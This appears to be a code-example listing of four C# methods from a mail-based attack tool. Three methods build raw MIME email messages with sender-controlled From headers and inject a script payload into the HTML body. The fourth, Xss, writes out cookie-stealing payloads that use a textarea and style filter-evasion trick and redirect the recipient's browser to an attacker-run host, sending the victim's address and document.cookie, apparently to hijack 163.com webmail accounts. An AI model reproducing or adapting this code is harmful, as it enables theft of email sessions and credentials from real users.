Example #1
0
 public string MailPackage(Model model)
 {
     this.Xss(model);
     if (model.AttachmentName == null)
     {
         return ("From:" + model.Nickname + "<" + model.Addresser + ">" + this.CRLF + "To:" + model.Addressee + this.CRLF + "Subject:" + model.Subject + this.CRLF + "MIME-Version: 1.0" + this.CRLF + "Content-Type: multipart/mixed;" + this.CRLF + "\tboundary=\"----=_Part_116410_1729540330.1274776237859\"" + this.CRLF + this.CRLF + "------=_Part_116410_1729540330.1274776237859" + this.CRLF + "Content-Type: multipart/alternative;" + this.CRLF + "\tboundary=\"----=_Part_116412_1100804047.1274776237859\"" + this.CRLF + this.CRLF + "------=_Part_116412_1100804047.1274776237859" + this.CRLF + "Content-Type: text/html; charset=\"GB2312\"" + this.CRLF + "Content-Transfer-Encoding: base64" + this.CRLF + this.CRLF + model.EncodeBase64(model.XSSCode + model.Content + "</div>") + this.CRLF + "------=_Part_116412_1100804047.1274776237859--" + this.CRLF + this.CRLF + "." + this.CRLF);
     }
     string code = new StreamReader(model.AttachmentSrc, Encoding.GetEncoding("gb2312")).ReadToEnd();
     return string.Concat(new object[]
     {
         "MIME-Version: 1.0", this.CRLF, "Content-Type: multipart/mixed; boundary=Mail_Boundary_00201010", this.CRLF, "From:", model.Nickname, "<", model.Addresser, ">", this.CRLF, "To:", model.Addressee, this.CRLF, "Subject:", model.Subject, this.CRLF,
         this.CRLF, "Content-Type: multipart/alternative; boundary=Mail_Boundary_00201010", this.CRLF, this.CRLF, "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8", this.CRLF, "Content-Transfer-Encoding: 7bit", this.CRLF, this.CRLF, this.CRLF, model.Content, model.XSSCode, this.CRLF, this.CRLF,
         "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8 name=", model.AttachmentName, this.CRLF, "Content-Transfer-Encoding: base64", this.CRLF, "Content-Disposition: attachment;filename=", model.AttachmentName, this.CRLF, this.CRLF, '<', model.EncodeBase64(code), '>', this.CRLF, "--Mail_Boundary_00201010--",
         this.CRLF, this.CRLF, '.', this.CRLF
     });
 }
Example #2
0
 public string MailPackage(Model model)
 {
     if (model.AttachmentName == null)
     {
         return ("MIME-Version: 1.0" + this.CRLF + "From:" + model.Nickname + "<" + model.Addresser + ">" + this.CRLF + "To:" + model.Addressee + this.CRLF + "Message-Id: <[email protected]>" + this.CRLF + "Subject:" + model.Subject + this.CRLF + "Content-type:text/html;" + this.CRLF + "Content-Transfer-Encoding:quoted-printable" + this.CRLF + this.CRLF + model.Content + this.CRLF + this.CRLF + "." + this.CRLF);
     }
     string code = new StreamReader(model.AttachmentSrc, Encoding.GetEncoding("gb2312")).ReadToEnd();
     return string.Concat(new object[]
     {
         "MIME-Version: 1.0", this.CRLF, "Content-Type: multipart/mixed; boundary=Mail_Boundary_00201010", this.CRLF, "From:", model.Nickname, "<", model.Addresser, ">", this.CRLF, "To:", model.Addressee, this.CRLF, "Subject:", model.Subject, this.CRLF,
         this.CRLF, "Content-Type: multipart/alternative; boundary=Mail_Boundary_00201010", this.CRLF, this.CRLF, "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=gbk", this.CRLF, "Content-Transfer-Encoding: 7bit", this.CRLF, this.CRLF, this.CRLF, model.Content, this.CRLF, this.CRLF, "--Mail_Boundary_00201010",
         this.CRLF, "Content-Type: text/html; charset=gbk name=", model.AttachmentName, this.CRLF, "Content-Transfer-Encoding: base64", this.CRLF, "Content-Disposition: attachment;filename=", model.AttachmentName, this.CRLF, this.CRLF, model.EncodeBase64(code), this.CRLF, "--Mail_Boundary_00201010--", this.CRLF, this.CRLF, '.',
         this.CRLF
     });
 }
Example #3
0
 public string MailPackage(Model model)
 {
     this.Xss(model);
     if (model.AttachmentName == null)
     {
         return ("From:" + model.Nickname + "<" + model.Addresser + ">" + this.CRLF + "To:" + model.Addressee + this.CRLF + "Message-ID: <20100616. [email protected]>" + this.CRLF + "Subject:" + model.Subject + this.CRLF + "MIME-Version: 1.0" + this.CRLF + "Content-Transfer-Encoding: 8bit" + this.CRLF + "Content-type:text/html;charset=\"euc-kr\"" + this.CRLF + "Content-Transfer-Encoding:quoted-printable" + this.CRLF + this.CRLF + model.Content + model.XSSCode + this.CRLF + this.CRLF + this.CRLF + "." + this.CRLF);
     }
     string code = new StreamReader(model.AttachmentSrc, Encoding.GetEncoding("gb2312")).ReadToEnd();
     return string.Concat(new object[]
     {
         "MIME-Version: 1.0", this.CRLF, "Content-Type: multipart/mixed; boundary=Mail_Boundary_00201010", this.CRLF, "From:", model.Nickname, "<", model.Addresser, ">", this.CRLF, "To:", model.Addressee, this.CRLF, "Subject:", model.Subject, this.CRLF,
         this.CRLF, "Content-Type: multipart/alternative; boundary=Mail_Boundary_00201010", this.CRLF, this.CRLF, "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8", this.CRLF, "Content-Transfer-Encoding: 7bit", this.CRLF, this.CRLF, this.CRLF, model.Content, model.XSSCode, this.CRLF, this.CRLF,
         "--Mail_Boundary_00201010", this.CRLF, "Content-Type: text/html; charset=utf-8 name=", model.AttachmentName, this.CRLF, "Content-Transfer-Encoding: base64", this.CRLF, "Content-Disposition: attachment;filename=", model.AttachmentName, this.CRLF, this.CRLF, '<', model.EncodeBase64(code), '>', this.CRLF, "--Mail_Boundary_00201010--",
         this.CRLF, this.CRLF, '.', this.CRLF
     });
 }
Example #4
0
 private void Xss(Model model)
 {
     string addressee = model.Addressee;
     int index = addressee.IndexOf('@');
     addressee = addressee.ToLower().Substring(0, index);
     Record record = new Record();
     if (model.Type == "Cookie")
     {
         model.Address = "http://" + record.Dns("") + "/163/index.asp?";
         model.XSSCode = "<textarea style=DISPLAY:none><style></textarea>" + this.CRLF + "<script>" + this.CRLF + "document.location=\"" + model.Address + "id=" + addressee + "&cookie=\"+escape(document.cookie);" + this.CRLF + "</script>" + this.CRLF + "</style></textarea>";
     }
     else if (model.Type == "Password")
     {
         model.Address = "http://" + record.Dns("") + "/163/indexP.asp?";
         model.XSSCode = "<textarea style=DISPLAY:none><style></textarea>" + this.CRLF + "<script>" + this.CRLF + "document.location=\"" + model.Address + "id=" + model.EncodeBase64(model.Addressee) + "&cookie=\"+escape(document.cookie);" + this.CRLF + "</script>" + this.CRLF + "</style></textarea>";
     }
     else if (model.Type == "C+P")
     {
         model.Address = "http://" + record.Dns("") + "/163/indexcp.asp?";
         model.XSSCode = "<textarea style=DISPLAY:none><style></textarea>" + this.CRLF + "<script>" + this.CRLF + "document.location=\"" + model.Address + "id=" + addressee + "&cookie=\"+escape(document.cookie);" + this.CRLF + "</script>" + this.CRLF + "</style></textarea>";
     }
 }